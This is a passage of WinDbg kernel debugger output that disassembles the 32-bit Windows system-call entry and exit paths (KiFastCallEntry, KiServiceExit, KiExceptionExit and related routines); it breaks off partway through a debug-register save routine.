81b72e59 8ed9            mov     ds,cx

81b72e5b 8ec1            mov     es,cx

81b72e5d 648b0d40000000  mov     ecx,dword ptr fs:[40h]

81b72e64 8b6104          mov     esp,dword ptr [ecx+4]

81b72e67 6a23            push    23h

81b72e69 52              push    edx



-----------------------------------------------------------------------------------------------------------

kd> uf KiFastCallEntry

Flow analysis was incomplete, some code may be missing

nt!KiEndUnexpectedRange:

81b72c74 83f910          cmp     ecx,10h

81b72c77 753a            jne     nt!KiEndUnexpectedRange+0x3f (81b72cb3)



nt!KiEndUnexpectedRange+0x5:

81b72c79 52              push    edx

81b72c7a 53              push    ebx

81b72c7b e854dd2200      call    nt!PsConvertToGuiThread (81da09d4)

81b72c80 0bc0            or      eax,eax

81b72c82 58              pop     eax

81b72c83 5a              pop     edx

81b72c84 8bec            mov     ebp,esp

81b72c86 896e6c          mov     dword ptr [esi+6Ch],ebp

81b72c89 0f84b3020000    je      nt!KiFastCallEntry+0xa2 (81b72f42)



nt!KiEndUnexpectedRange+0x1b:

81b72c8f 8d15505cca81    lea     edx,[nt!KeServiceDescriptorTableShadow+0x10 (81ca5c50)]

81b72c95 8b4a08          mov     ecx,dword ptr [edx+8]

81b72c98 8b12            mov     edx,dword ptr [edx]

81b72c9a 25ff0f0000      and     eax,0FFFh

81b72c9f 3bc1            cmp     eax,ecx

81b72ca1 8d148a          lea     edx,[edx+ecx*4]

81b72ca4 730d            jae     nt!KiEndUnexpectedRange+0x3f (81b72cb3)



nt!KiEndUnexpectedRange+0x32:

81b72ca6 03d0            add     edx,eax

81b72ca8 0fbe02          movsx   eax,byte ptr [edx]

81b72cab 0bc0            or      eax,eax

81b72cad 0f8e7a030000    jle     nt!KiSystemServicePostCall+0x46 (81b7302d)



nt!KiEndUnexpectedRange+0x3f:

81b72cb3 b81c0000c0      mov     eax,0C000001Ch

81b72cb8 e970030000      jmp     nt!KiSystemServicePostCall+0x46 (81b7302d)



nt!Dr_FastCallDrSave:

81b72d40 f7457000000200  test    dword ptr [ebp+70h],20000h

81b72d47 750a            jne     nt!Dr_FastCallDrSave+0x13 (81b72d53)



nt!Dr_FastCallDrSave+0x9:

81b72d49 f6456c01        test    byte ptr [ebp+6Ch],1

81b72d4d 0f84db010000    je      nt!KiFastCallEntry+0x8e (81b72f2e)



nt!Dr_FastCallDrSave+0x13:

81b72d53 0f21c3          mov     ebx,dr0

81b72d56 0f21c9          mov     ecx,dr1

81b72d59 0f21d7          mov     edi,dr2

81b72d5c 895d14          mov     dword ptr [ebp+14h],ebx

81b72d5f 894d18          mov     dword ptr [ebp+18h],ecx

81b72d62 897d1c          mov     dword ptr [ebp+1Ch],edi

81b72d65 0f21db          mov     ebx,dr3

81b72d68 0f21f1          mov     ecx,dr6

81b72d6b 0f21ff          mov     edi,dr7

81b72d6e 895d20          mov     dword ptr [ebp+20h],ebx

81b72d71 894d24          mov     dword ptr [ebp+24h],ecx

81b72d74 33db            xor     ebx,ebx

81b72d76 897d28          mov     dword ptr [ebp+28h],edi

81b72d79 0f23fb          mov     dr7,ebx

81b72d7c 648b3d20000000  mov     edi,dword ptr fs:[20h]

81b72d83 8b9ff4020000    mov     ebx,dword ptr [edi+2F4h]

81b72d89 8b8ff8020000    mov     ecx,dword ptr [edi+2F8h]

81b72d8f 0f23c3          mov     dr0,ebx

81b72d92 0f23c9          mov     dr1,ecx

81b72d95 8b9ffc020000    mov     ebx,dword ptr [edi+2FCh]

81b72d9b 8b8f00030000    mov     ecx,dword ptr [edi+300h]

81b72da1 0f23d3          mov     dr2,ebx

81b72da4 0f23d9          mov     dr3,ecx

81b72da7 8b9f04030000    mov     ebx,dword ptr [edi+304h]

81b72dad 8b8f08030000    mov     ecx,dword ptr [edi+308h]

81b72db3 0f23f3          mov     dr6,ebx

81b72db6 0f23f9          mov     dr7,ecx

81b72db9 e970010000      jmp     nt!KiFastCallEntry+0x8e (81b72f2e)



nt!KiFastCallEntry2+0x25:

81b72e72 648b0d40000000  mov     ecx,dword ptr fs:[40h]

81b72e79 8b6104          mov     esp,dword ptr [ecx+4]

81b72e7c 6a00            push    0

81b72e7e 6a00            push    0

81b72e80 6a00            push    0

81b72e82 6a00            push    0

81b72e84 6a23            push    23h

81b72e86 6a00            push    0

81b72e88 6802020200      push    20202h

81b72e8d 6a1b            push    1Bh

81b72e8f 6a00            push    0

81b72e91 e9ae1c0000      jmp     nt!KiTrap06 (81b74b44)



nt!KiFastCallEntry2+0x49:

81b72e96 ebda            jmp     nt!KiFastCallEntry2+0x25 (81b72e72)



nt!KiFastCallEntry:

81b72ea0 b923000000      mov     ecx,23h

81b72ea5 6a30            push    30h

81b72ea7 0fa1            pop     fs

81b72ea9 8ed9            mov     ds,cx

81b72eab 8ec1            mov     es,cx

81b72ead 648b0d40000000  mov     ecx,dword ptr fs:[40h]

81b72eb4 8b6104          mov     esp,dword ptr [ecx+4]

81b72eb7 6a23            push    23h

81b72eb9 52              push    edx

81b72eba 9c              pushfd

81b72ebb 6a02            push    2

81b72ebd 83c208          add     edx,8

81b72ec0 9d              popfd

81b72ec1 804c240102      or      byte ptr [esp+1],2

81b72ec6 6a1b            push    1Bh

81b72ec8 ff3580c6c781    push    dword ptr [nt!KeI386FastSystemCallReturn (81c7c680)]

81b72ece 6a00            push    0

81b72ed0 55              push    ebp

81b72ed1 53              push    ebx

81b72ed2 56              push    esi

81b72ed3 57              push    edi

81b72ed4 648b1d1c000000  mov     ebx,dword ptr fs:[1Ch]

81b72edb 6a3b            push    3Bh

81b72edd ff33            push    dword ptr [ebx]

81b72edf 8b35a090c981    mov     esi,dword ptr [nt!KiI386ExceptionChainTerminator (81c990a0)]

81b72ee5 8933            mov     dword ptr [ebx],esi

81b72ee7 8bb324010000    mov     esi,dword ptr [ebx+124h]

81b72eed 8b6e20          mov     ebp,dword ptr [esi+20h]

81b72ef0 83ec4c          sub     esp,4Ch

81b72ef3 c644244401      mov     byte ptr [esp+44h],1

81b72ef8 81ed8c000000    sub     ebp,8Ch

81b72efe c6865a01000001  mov     byte ptr [esi+15Ah],1

81b72f05 3bec            cmp     ebp,esp

81b72f07 758d            jne     nt!KiFastCallEntry2+0x49 (81b72e96)



nt!KiFastCallEntry+0x69:

81b72f09 0fae5d48        stmxcsr dword ptr [ebp+48h]

81b72f0d 640fae1508000000 ldmxcsr dword ptr fs:[8]

81b72f15 c6450f02        mov     byte ptr [ebp+0Fh],2

81b72f19 83652800        and     dword ptr [ebp+28h],0

81b72f1d 83653800        and     dword ptr [ebp+38h],0

81b72f21 896e6c          mov     dword ptr [esi+6Ch],ebp

81b72f24 f64603df        test    byte ptr [esi+3],0DFh

81b72f28 0f8512feffff    jne     nt!Dr_FastCallDrSave (81b72d40)



nt!KiFastCallEntry+0x8e:

81b72f2e 8b5d60          mov     ebx,dword ptr [ebp+60h]

81b72f31 8b7d68          mov     edi,dword ptr [ebp+68h]

81b72f34 c74508000ddbba  mov     dword ptr [ebp+8],0BADB0D00h

81b72f3b 895d00          mov     dword ptr [ebp],ebx

81b72f3e 897d04          mov     dword ptr [ebp+4],edi

81b72f41 fb              sti



nt!KiFastCallEntry+0xa2:

81b72f42 8bf8            mov     edi,eax

81b72f44 c1ef08          shr     edi,8

81b72f47 83e710          and     edi,10h

81b72f4a 8bcf            mov     ecx,edi

81b72f4c 037e3c          add     edi,dword ptr [esi+3Ch]

81b72f4f 8bd8            mov     ebx,eax

81b72f51 25ff0f0000      and     eax,0FFFh

81b72f56 3b4708          cmp     eax,dword ptr [edi+8]

81b72f59 0f8315fdffff    jae     nt!KiEndUnexpectedRange (81b72c74)



nt!KiFastCallEntry+0xbf:

81b72f5f 83f910          cmp     ecx,10h

81b72f62 7521            jne     nt!KiSystemServiceAccessTeb+0x19 (81b72f85)



nt!KiFastCallEntry+0xc4:

81b72f64 8b8ea8000000    mov     ecx,dword ptr [esi+0A8h]

81b72f6a 33f6            xor     esi,esi

81b72f6c 0bb1700f0000    or      esi,dword ptr [ecx+0F70h]

81b72f72 7411            je      nt!KiSystemServiceAccessTeb+0x19 (81b72f85)



nt!KiSystemServiceAccessTeb+0x8:

81b72f74 52              push    edx

81b72f75 50              push    eax

81b72f76 6a00            push    0

81b72f78 6a00            push    0

81b72f7a 6a00            push    0

81b72f7c 6a07            push    7

81b72f7e e81d811f00      call    nt!PsInvokeWin32Callout (81d6b0a0)

81b72f83 58              pop     eax

81b72f84 5a              pop     edx



nt!KiSystemServiceAccessTeb+0x19:

81b72f85 64ff05b0060000  inc     dword ptr fs:[6B0h]

81b72f8c 8bf2            mov     esi,edx

81b72f8e 33c9            xor     ecx,ecx

81b72f90 8b570c          mov     edx,dword ptr [edi+0Ch]

81b72f93 8b3f            mov     edi,dword ptr [edi]

81b72f95 8a0c10          mov     cl,byte ptr [eax+edx]

81b72f98 8b1487          mov     edx,dword ptr [edi+eax*4]

81b72f9b 2be1            sub     esp,ecx

81b72f9d c1e902          shr     ecx,2

81b72fa0 8bfc            mov     edi,esp

81b72fa2 f6457202        test    byte ptr [ebp+72h],2

81b72fa6 7506            jne     nt!KiSystemServiceAccessTeb+0x42 (81b72fae)



nt!KiSystemServiceAccessTeb+0x3c:

81b72fa8 f6456c01        test    byte ptr [ebp+6Ch],1

81b72fac 740c            je      nt!KiSystemServiceCopyArguments (81b72fba)



nt!KiSystemServiceAccessTeb+0x42:

81b72fae 3b35045dca81    cmp     esi,dword ptr [nt!MmUserProbeAddress (81ca5d04)]

81b72fb4 0f832a020000    jae     nt!KiSystemCallExit+0x77 (81b731e4)



nt!KiSystemServiceCopyArguments:

81b72fba f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

81b72fbc f6456c01        test    byte ptr [ebp+6Ch],1

81b72fc0 7410            je      nt!KiSystemServiceCopyArguments+0x18 (81b72fd2)



nt!KiSystemServiceCopyArguments+0x8:

81b72fc2 648b0d24010000  mov     ecx,dword ptr fs:[124h]

81b72fc9 8b3c24          mov     edi,dword ptr [esp]

81b72fcc 895964          mov     dword ptr [ecx+64h],ebx

81b72fcf 897968          mov     dword ptr [ecx+68h],edi



nt!KiSystemServiceCopyArguments+0x18:

81b72fd2 8bda            mov     ebx,edx

81b72fd4 f6054864ca8140  test    byte ptr [nt!PerfGlobalGroupMask+0x8 (81ca6448)],40h

81b72fdb 0f95450e        setne   byte ptr [ebp+0Eh]

81b72fdf 0f8542020000    jne     nt!KiSystemCallExit+0xba (81b73227)



nt!KiSystemServiceCopyArguments+0x2b:

81b72fe5 ffd3            call    ebx



nt!KiSystemServicePostCall:

81b72fe7 f6456c01        test    byte ptr [ebp+6Ch],1

81b72feb 7434            je      nt!KiSystemServicePostCall+0x3a (81b73021)



nt!KiSystemServicePostCall+0x6:

81b72fed 8bf0            mov     esi,eax

81b72fef ff150861c981    call    dword ptr [nt!_imp__KeGetCurrentIrql (81c96108)]

81b72ff5 0ac0            or      al,al

81b72ff7 0f85f1010000    jne     nt!KiSystemCallExit+0x81 (81b731ee)



nt!KiSystemServicePostCall+0x16:

81b72ffd 8bc6            mov     eax,esi

81b72fff 648b0d24010000  mov     ecx,dword ptr fs:[124h]

81b73006 f68166010000ff  test    byte ptr [ecx+166h],0FFh

81b7300d 0f85f9010000    jne     nt!KiSystemCallExit+0x9f (81b7320c)



nt!KiSystemServicePostCall+0x2c:

81b73013 8b913c010000    mov     edx,dword ptr [ecx+13Ch]

81b73019 0bd2            or      edx,edx

81b7301b 0f85eb010000    jne     nt!KiSystemCallExit+0x9f (81b7320c)



nt!KiSystemServicePostCall+0x3a:

81b73021 8be5            mov     esp,ebp

81b73023 807d0e00        cmp     byte ptr [ebp+0Eh],0

81b73027 0f8506020000    jne     nt!KiSystemCallExit+0xc6 (81b73233)



nt!KiSystemServicePostCall+0x46:

81b7302d 648b0d24010000  mov     ecx,dword ptr fs:[124h]

81b73034 8b5538          mov     edx,dword ptr [ebp+38h]

81b73037 89516c          mov     dword ptr [ecx+6Ch],edx

81b7303a fa              cli

81b7303b f6457202        test    byte ptr [ebp+72h],2

81b7303f 750a            jne     nt!KiServiceExit+0x11 (81b7304b)



nt!KiServiceExit+0x7:

81b73041 f6456c01        test    byte ptr [ebp+6Ch],1

81b73045 0f8489000000    je      nt!KiServiceExit+0x9a (81b730d4)



nt!KiServiceExit+0x11:

81b7304b 648b1d24010000  mov     ebx,dword ptr fs:[124h]

81b73052 f6430221        test    byte ptr [ebx+2],21h

81b73056 7425            je      nt!KiServiceExit+0x43 (81b7307d)



nt!KiServiceExit+0x1e:

81b73058 50              push    eax

81b73059 f6430201        test    byte ptr [ebx+2],1

81b7305d 740c            je      nt!KiServiceExit+0x31 (81b7306b)



nt!KiServiceExit+0x25:

81b7305f 53              push    ebx

81b73060 e89d7a0700      call    nt!KiCopyCounters (81beab02)

81b73065 f6430220        test    byte ptr [ebx+2],20h

81b73069 7411            je      nt!KiServiceExit+0x42 (81b7307c)



nt!KiServiceExit+0x31:

81b7306b 80bb8600000000  cmp     byte ptr [ebx+86h],0

81b73072 7508            jne     nt!KiServiceExit+0x42 (81b7307c)



nt!KiServiceExit+0x3a:

81b73074 6a01            push    1

81b73076 55              push    ebp

81b73077 e8a671f1ff      call    nt!KiSetupForInstrumentationReturn (81a8a222)



nt!KiServiceExit+0x42:

81b7307c 58              pop     eax



nt!KiServiceExit+0x43:

81b7307d c6435600        mov     byte ptr [ebx+56h],0

81b73081 80bb8600000000  cmp     byte ptr [ebx+86h],0

81b73088 744a            je      nt!KiServiceExit+0x9a (81b730d4)



nt!KiServiceExit+0x50:

81b7308a 8bdd            mov     ebx,ebp

81b7308c 894340          mov     dword ptr [ebx+40h],eax

81b7308f c743503b000000  mov     dword ptr [ebx+50h],3Bh

81b73096 c7433423000000  mov     dword ptr [ebx+34h],23h

81b7309d c7433023000000  mov     dword ptr [ebx+30h],23h

81b730a4 c7432c00000000  mov     dword ptr [ebx+2Ch],0

81b730ab b901000000      mov     ecx,1

81b730b0 ff150461c981    call    dword ptr [nt!_imp_KfRaiseIrql (81c96104)]

81b730b6 50              push    eax

81b730b7 fb              sti

81b730b8 53              push    ebx

81b730b9 6a00            push    0

81b730bb 6a01            push    1

81b730bd e8ced5f6ff      call    nt!KiDeliverApc (81ae0690)

81b730c2 59              pop     ecx

81b730c3 ff150061c981    call    dword ptr [nt!_imp_KfLowerIrql (81c96100)]

81b730c9 8b4340          mov     eax,dword ptr [ebx+40h]

81b730cc fa              cli

81b730cd e979ffffff      jmp     nt!KiServiceExit+0x11 (81b7304b)



nt!KiServiceExit+0x9a:

81b730d4 8b554c          mov     edx,dword ptr [ebp+4Ch]

81b730d7 0fae5548        ldmxcsr dword ptr [ebp+48h]

81b730db 64891500000000  mov     dword ptr fs:[0],edx

81b730e2 648b3524010000  mov     esi,dword ptr fs:[124h]

81b730e9 0fb64d44        movzx   ecx,byte ptr [ebp+44h]

81b730ed 888e5a010000    mov     byte ptr [esi+15Ah],cl

81b730f3 f74528ff23ffff  test    dword ptr [ebp+28h],0FFFF23FFh

81b730fa 7578            jne     nt!KiSystemCallExit+0x7 (81b73174)



nt!KiServiceExit+0xc2:

81b730fc f7457000000200  test    dword ptr [ebp+70h],20000h

81b73103 0f85270c0000    jne     nt!KiExceptionExit+0x13c (81b73d30)



nt!KiServiceExit+0xcf:

81b73109 66f7456cf9ff    test    word ptr [ebp+6Ch],0FFF9h

81b7310f 0f84a3000000    je      nt!KiSystemCallExit+0x4b (81b731b8)



nt!KiServiceExit+0xdb:

81b73115 0f57c0          xorps   xmm0,xmm0

81b73118 0f57c9          xorps   xmm1,xmm1

81b7311b 0f57d2          xorps   xmm2,xmm2

81b7311e 0f57db          xorps   xmm3,xmm3

81b73121 0f57e4          xorps   xmm4,xmm4

81b73124 0f57ed          xorps   xmm5,xmm5

81b73127 0f57f6          xorps   xmm6,xmm6

81b7312a 0f57ff          xorps   xmm7,xmm7

81b7312d 66837d6c08      cmp     word ptr [ebp+6Ch],8

81b73132 7405            je      nt!KiServiceExit+0xff (81b73139)



nt!KiServiceExit+0xfa:

81b73134 8d6550          lea     esp,[ebp+50h]

81b73137 0fa1            pop     fs



nt!KiServiceExit+0xff:

81b73139 8d6554          lea     esp,[ebp+54h]

81b7313c 5f              pop     edi

81b7313d 5e              pop     esi

81b7313e 5b              pop     ebx

81b7313f 5d              pop     ebp

81b73140 83c404          add     esp,4

81b73143 f744240401000000 test    dword ptr [esp+4],1

81b7314b 7506            jne     nt!KiSystemCallExit2 (81b73153)



nt!KiSystemCallExitBranch+0x2:

81b7314d 5a              pop     edx

81b7314e 59              pop     ecx

81b7314f 9d              popfd

81b73150 ffe2            jmp     edx



nt!KiSystemCallExit2:

81b73153 f744240800010000 test    dword ptr [esp+8],100h

81b7315b 7510            jne     nt!KiSystemCallExit (81b7316d)



nt!KiSystemCallExit2+0xa:

81b7315d 5a              pop     edx

81b7315e 83c404          add     esp,4

81b73161 812424fffdffff  and     dword ptr [esp],0FFFFFDFFh

81b73168 9d              popfd

81b73169 59              pop     ecx

81b7316a fb              sti

81b7316b 0f35            sysexit



nt!KiSystemCallExit:

81b7316d 33c9            xor     ecx,ecx

81b7316f 33d2            xor     edx,edx

81b73171 cf              iretd



nt!KiSystemCallExit+0x7:

81b73174 f7457000000200  test    dword ptr [ebp+70h],20000h

81b7317b 750d            jne     nt!KiSystemCallExit+0x1d (81b7318a)



nt!KiSystemCallExit+0x10:

81b7317d f7456c01000000  test    dword ptr [ebp+6Ch],1

81b73184 0f8472ffffff    je      nt!KiServiceExit+0xc2 (81b730fc)



nt!KiSystemCallExit+0x1d:

81b7318a 33db            xor     ebx,ebx

81b7318c 8b7514          mov     esi,dword ptr [ebp+14h]

81b7318f 8b7d18          mov     edi,dword ptr [ebp+18h]

81b73192 0f23fb          mov     dr7,ebx

81b73195 0f23c6          mov     dr0,esi

81b73198 8b5d1c          mov     ebx,dword ptr [ebp+1Ch]

81b7319b 0f23cf          mov     dr1,edi

81b7319e 0f23d3          mov     dr2,ebx

81b731a1 8b7520          mov     esi,dword ptr [ebp+20h]

81b731a4 8b7d24          mov     edi,dword ptr [ebp+24h]

81b731a7 8b5d28          mov     ebx,dword ptr [ebp+28h]

81b731aa 0f23de          mov     dr3,esi

81b731ad 0f23f7          mov     dr6,edi

81b731b0 0f23fb          mov     dr7,ebx

81b731b3 e944ffffff      jmp     nt!KiServiceExit+0xc2 (81b730fc)



nt!KiSystemCallExit+0x4b:

81b731b8 0fb75d0c        movzx   ebx,word ptr [ebp+0Ch]

81b731bc 895d6c          mov     dword ptr [ebp+6Ch],ebx

81b731bf 8b5d10          mov     ebx,dword ptr [ebp+10h]

81b731c2 83eb0c          sub     ebx,0Ch

81b731c5 895d64          mov     dword ptr [ebp+64h],ebx

81b731c8 8b7570          mov     esi,dword ptr [ebp+70h]

81b731cb 897308          mov     dword ptr [ebx+8],esi

81b731ce 8b756c          mov     esi,dword ptr [ebp+6Ch]

81b731d1 897304          mov     dword ptr [ebx+4],esi

81b731d4 8b7568          mov     esi,dword ptr [ebp+68h]

81b731d7 8933            mov     dword ptr [ebx],esi

81b731d9 8d6554          lea     esp,[ebp+54h]

81b731dc 5f              pop     edi

81b731dd 5e              pop     esi

81b731de 5b              pop     ebx

81b731df 5d              pop     ebp

81b731e0 8b2424          mov     esp,dword ptr [esp]

81b731e3 cf              iretd



nt!KiSystemCallExit+0x77:

81b731e4 b8050000c0      mov     eax,0C0000005h

81b731e9 e9f9fdffff      jmp     nt!KiSystemServicePostCall (81b72fe7)



nt!KiSystemCallExit+0x81:

81b731ee 64ff3524000000  push    dword ptr fs:[24h]

81b731f5 64c6052400000000 mov     byte ptr fs:[24h],0

81b731fd fa              cli

81b731fe 55              push    ebp

81b731ff 6a00            push    0

81b73201 6a00            push    0

81b73203 50              push    eax

81b73204 53              push    ebx

81b73205 6a4a            push    4Ah

81b73207 e85422ffff      call    nt!KiBugCheck2 (81b65460)



nt!KiSystemCallExit+0x9f:

81b7320c 0fb68166010000  movzx   eax,byte ptr [ecx+166h]

81b73213 8b913c010000    mov     edx,dword ptr [ecx+13Ch]

81b73219 55              push    ebp

81b7321a 6a00            push    0

81b7321c 52              push    edx

81b7321d 50              push    eax

81b7321e 53              push    ebx

81b7321f 6a01            push    1

81b73221 e83a22ffff      call    nt!KiBugCheck2 (81b65460)

81b73226 c3              ret



nt!KiSystemCallExit+0xba:

81b73227 8bcb            mov     ecx,ebx

81b73229 e88d990c00      call    nt!PerfInfoLogSysCallEntry (81c3cbbb)

81b7322e e9b2fdffff      jmp     nt!KiSystemServiceCopyArguments+0x2b (81b72fe5)



nt!KiSystemCallExit+0xc6:

81b73233 50              push    eax

81b73234 8bc8            mov     ecx,eax

81b73236 e8dd990c00      call    nt!PerfInfoLogSysCallExit (81c3cc18)

81b7323b 58              pop     eax

81b7323c e9ecfdffff      jmp     nt!KiSystemServicePostCall+0x46 (81b7302d)



nt!KiExceptionExit:

81b73bf4 fa              cli

81b73bf5 f6457202        test    byte ptr [ebp+72h],2

81b73bf9 7506            jne     nt!KiExceptionExit+0xd (81b73c01)



nt!KiExceptionExit+0x7:

81b73bfb f6456c01        test    byte ptr [ebp+6Ch],1

81b73bff 7443            je      nt!KiExceptionExit+0x50 (81b73c44)



nt!KiExceptionExit+0xd:

81b73c01 648b1d24010000  mov     ebx,dword ptr fs:[124h]

81b73c08 f6430201        test    byte ptr [ebx+2],1

81b73c0c 7406            je      nt!KiExceptionExit+0x20 (81b73c14)



nt!KiExceptionExit+0x1a:

81b73c0e 53              push    ebx

81b73c0f e8ee6e0700      call    nt!KiCopyCounters (81beab02)



nt!KiExceptionExit+0x20:

81b73c14 c6435600        mov     byte ptr [ebx+56h],0

81b73c18 80bb8600000000  cmp     byte ptr [ebx+86h],0

81b73c1f 7423            je      nt!KiExceptionExit+0x50 (81b73c44)



nt!KiExceptionExit+0x2d:

81b73c21 8bdd            mov     ebx,ebp

81b73c23 b901000000      mov     ecx,1

81b73c28 ff150461c981    call    dword ptr [nt!_imp_KfRaiseIrql (81c96104)]

81b73c2e 50              push    eax

81b73c2f fb              sti

81b73c30 53              push    ebx

81b73c31 6a00            push    0

81b73c33 6a01            push    1

81b73c35 e856caf6ff      call    nt!KiDeliverApc (81ae0690)

81b73c3a 59              pop     ecx

81b73c3b ff150061c981    call    dword ptr [nt!_imp_KfLowerIrql (81c96100)]

81b73c41 fa              cli

81b73c42 ebbd            jmp     nt!KiExceptionExit+0xd (81b73c01)



nt!KiExceptionExit+0x50:

81b73c44 8b554c          mov     edx,dword ptr [ebp+4Ch]

81b73c47 0fae5548        ldmxcsr dword ptr [ebp+48h]

81b73c4b 64891500000000  mov     dword ptr fs:[0],edx

81b73c52 f74528ff23ffff  test    dword ptr [ebp+28h],0FFFF23FFh

81b73c59 755d            jne     nt!KiExceptionExit+0xc4 (81b73cb8)



nt!KiExceptionExit+0x67:

81b73c5b f7457000000200  test    dword ptr [ebp+70h],20000h

81b73c62 0f85c8000000    jne     nt!KiExceptionExit+0x13c (81b73d30)



nt!KiExceptionExit+0x74:

81b73c68 8bfc            mov     edi,esp

81b73c6a 0f2807          movaps  xmm0,xmmword ptr [edi]

81b73c6d 0f284f10        movaps  xmm1,xmmword ptr [edi+10h]

81b73c71 0f285720        movaps  xmm2,xmmword ptr [edi+20h]

81b73c75 0f285f30        movaps  xmm3,xmmword ptr [edi+30h]

81b73c79 0f286740        movaps  xmm4,xmmword ptr [edi+40h]

81b73c7d 0f286f50        movaps  xmm5,xmmword ptr [edi+50h]

81b73c81 0f287760        movaps  xmm6,xmmword ptr [edi+60h]

81b73c85 0f287f70        movaps  xmm7,xmmword ptr [edi+70h]

81b73c89 66f7456cf9ff    test    word ptr [ebp+6Ch],0FFF9h

81b73c8f 7467            je      nt!KiExceptionExit+0x104 (81b73cf8)



nt!KiExceptionExit+0x9d:

81b73c91 8b5538          mov     edx,dword ptr [ebp+38h]

81b73c94 8b4d3c          mov     ecx,dword ptr [ebp+3Ch]

81b73c97 8b4540          mov     eax,dword ptr [ebp+40h]

81b73c9a 66837d6c08      cmp     word ptr [ebp+6Ch],8

81b73c9f 740c            je      nt!KiExceptionExit+0xb9 (81b73cad)



nt!KiExceptionExit+0xad:

81b73ca1 8d652c          lea     esp,[ebp+2Ch]

81b73ca4 0fa9            pop     gs

81b73ca6 07              pop     es

81b73ca7 1f              pop     ds

81b73ca8 8d6550          lea     esp,[ebp+50h]

81b73cab 0fa1            pop     fs



nt!KiExceptionExit+0xb9:

81b73cad 8d6554          lea     esp,[ebp+54h]

81b73cb0 5f              pop     edi

81b73cb1 5e              pop     esi

81b73cb2 5b              pop     ebx

81b73cb3 5d              pop     ebp

81b73cb4 83c404          add     esp,4

81b73cb7 cf              iretd



nt!KiExceptionExit+0xc4:

81b73cb8 f7457000000200  test    dword ptr [ebp+70h],20000h

81b73cbf 7509            jne     nt!KiExceptionExit+0xd6 (81b73cca)



nt!KiExceptionExit+0xcd:

81b73cc1 f7456c01000000  test    dword ptr [ebp+6Ch],1

81b73cc8 7491            je      nt!KiExceptionExit+0x67 (81b73c5b)



nt!KiExceptionExit+0xd6:

81b73cca 33db            xor     ebx,ebx

81b73ccc 8b7514          mov     esi,dword ptr [ebp+14h]

81b73ccf 8b7d18          mov     edi,dword ptr [ebp+18h]

81b73cd2 0f23fb          mov     dr7,ebx

81b73cd5 0f23c6          mov     dr0,esi

81b73cd8 8b5d1c          mov     ebx,dword ptr [ebp+1Ch]

81b73cdb 0f23cf          mov     dr1,edi

81b73cde 0f23d3          mov     dr2,ebx

81b73ce1 8b7520          mov     esi,dword ptr [ebp+20h]

81b73ce4 8b7d24          mov     edi,dword ptr [ebp+24h]

81b73ce7 8b5d28          mov     ebx,dword ptr [ebp+28h]

81b73cea 0f23de          mov     dr3,esi

81b73ced 0f23f7          mov     dr6,edi

81b73cf0 0f23fb          mov     dr7,ebx

81b73cf3 e963ffffff      jmp     nt!KiExceptionExit+0x67 (81b73c5b)



nt!KiExceptionExit+0x104:

81b73cf8 0fb75d0c        movzx   ebx,word ptr [ebp+0Ch]

81b73cfc 895d6c          mov     dword ptr [ebp+6Ch],ebx

81b73cff 8b5d10          mov     ebx,dword ptr [ebp+10h]

81b73d02 83eb0c          sub     ebx,0Ch

81b73d05 895d64          mov     dword ptr [ebp+64h],ebx

81b73d08 8b7570          mov     esi,dword ptr [ebp+70h]

81b73d0b 897308          mov     dword ptr [ebx+8],esi

81b73d0e 8b756c          mov     esi,dword ptr [ebp+6Ch]

81b73d11 897304          mov     dword ptr [ebx+4],esi

81b73d14 8b7568          mov     esi,dword ptr [ebp+68h]

81b73d17 8933            mov     dword ptr [ebx],esi

81b73d19 8b4540          mov     eax,dword ptr [ebp+40h]

81b73d1c 8b5538          mov     edx,dword ptr [ebp+38h]

81b73d1f 8b4d3c          mov     ecx,dword ptr [ebp+3Ch]

81b73d22 8d6554          lea     esp,[ebp+54h]

81b73d25 5f              pop     edi

81b73d26 5e              pop     esi

81b73d27 5b              pop     ebx

81b73d28 5d              pop     ebp

81b73d29 8b2424          mov     esp,dword ptr [esp]

81b73d2c cf              iretd



nt!KiExceptionExit+0x13c:

81b73d30 3be5            cmp     esp,ebp

81b73d32 7421            je      nt!KiExceptionExit+0x161 (81b73d55)



nt!KiExceptionExit+0x140:

81b73d34 8bfc            mov     edi,esp

81b73d36 0f2807          movaps  xmm0,xmmword ptr [edi]

81b73d39 0f284f10        movaps  xmm1,xmmword ptr [edi+10h]

81b73d3d 0f285720        movaps  xmm2,xmmword ptr [edi+20h]

81b73d41 0f285f30        movaps  xmm3,xmmword ptr [edi+30h]

81b73d45 0f286740        movaps  xmm4,xmmword ptr [edi+40h]

81b73d49 0f286f50        movaps  xmm5,xmmword ptr [edi+50h]

81b73d4d 0f287760        movaps  xmm6,xmmword ptr [edi+60h]

81b73d51 0f287f70        movaps  xmm7,xmmword ptr [edi+70h]



nt!KiExceptionExit+0x161:

81b73d55 8d6538          lea     esp,[ebp+38h]

81b73d58 5a              pop     edx

81b73d59 59              pop     ecx

81b73d5a 58              pop     eax

81b73d5b 0fae5548        ldmxcsr dword ptr [ebp+48h]

81b73d5f 8d6554          lea     esp,[ebp+54h]

81b73d62 5f              pop     edi

81b73d63 5e              pop     esi

81b73d64 5b              pop     ebx

81b73d65 5d              pop     ebp

81b73d66 83c404          add     esp,4

81b73d69 cf              iretd



nt!Dr_kit6_a:

81b74a8c f7457000000200  test    dword ptr [ebp+70h],20000h

81b74a93 750a            jne     nt!Dr_kit6_a+0x13 (81b74a9f)



nt!Dr_kit6_a+0x9:

81b74a95 f6456c01        test    byte ptr [ebp+6Ch],1

81b74a99 0f8463060000    je      nt!KiTrap06+0x5be (81b75102)



nt!Dr_kit6_a+0x13:

81b74a9f 0f21c3          mov     ebx,dr0

81b74aa2 0f21c9          mov     ecx,dr1

81b74aa5 0f21d7          mov     edi,dr2

81b74aa8 895d14          mov     dword ptr [ebp+14h],ebx

81b74aab 894d18          mov     dword ptr [ebp+18h],ecx

81b74aae 897d1c          mov     dword ptr [ebp+1Ch],edi

81b74ab1 0f21db          mov     ebx,dr3

81b74ab4 0f21f1          mov     ecx,dr6

81b74ab7 0f21ff          mov     edi,dr7

81b74aba 895d20          mov     dword ptr [ebp+20h],ebx

81b74abd 894d24          mov     dword ptr [ebp+24h],ecx

81b74ac0 33db            xor     ebx,ebx

81b74ac2 897d28          mov     dword ptr [ebp+28h],edi

81b74ac5 0f23fb          mov     dr7,ebx

81b74ac8 648b3d20000000  mov     edi,dword ptr fs:[20h]

81b74acf 8b9ff4020000    mov     ebx,dword ptr [edi+2F4h]

81b74ad5 8b8ff8020000    mov     ecx,dword ptr [edi+2F8h]

81b74adb 0f23c3          mov     dr0,ebx

